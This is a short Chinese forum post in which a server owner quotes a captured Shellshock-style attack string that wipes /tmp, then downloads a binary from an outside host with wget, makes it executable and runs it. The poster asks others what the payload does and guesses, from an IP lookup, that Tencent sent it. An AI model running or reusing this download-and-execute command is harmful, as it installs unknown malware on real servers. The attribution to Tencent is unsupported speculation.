阿里云的 EC2 经常拦截到一些远程代码执行的脚本
类似下面这样：
Match1:{ :; }; /bin/bash -c .rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -o /tmp/china.z-axjx. >> /tmp/run.sh;echo echo by china.z >> /tmp/run.sh;echo chmod 777 /tmp/china.z-axjx. >> /tmp/run.sh;echo /tmp/china.z-axjx. >> /tmp/run.sh;echo rm -rf /tmp/run.sh >> /tmp/run.sh;chmod 777 /tmp/run.sh;/tmp/run.sh.
今天发现有几个脚本来自IP：182.254.217.63，百度了一下
IP地址: 182.254.217.63上海市 腾讯集团
忽然觉得有点背后凉凉的，大鹅厂还有这种业务？
不过这个脚本一直没有下载成功过，不知道里面是干啥的, 有研究过的V友么?
本文由 vps网友提供，转载请注明出处
本文链接： https://www.vpsvsvps.com/discuss/a/1676471690852306944.html
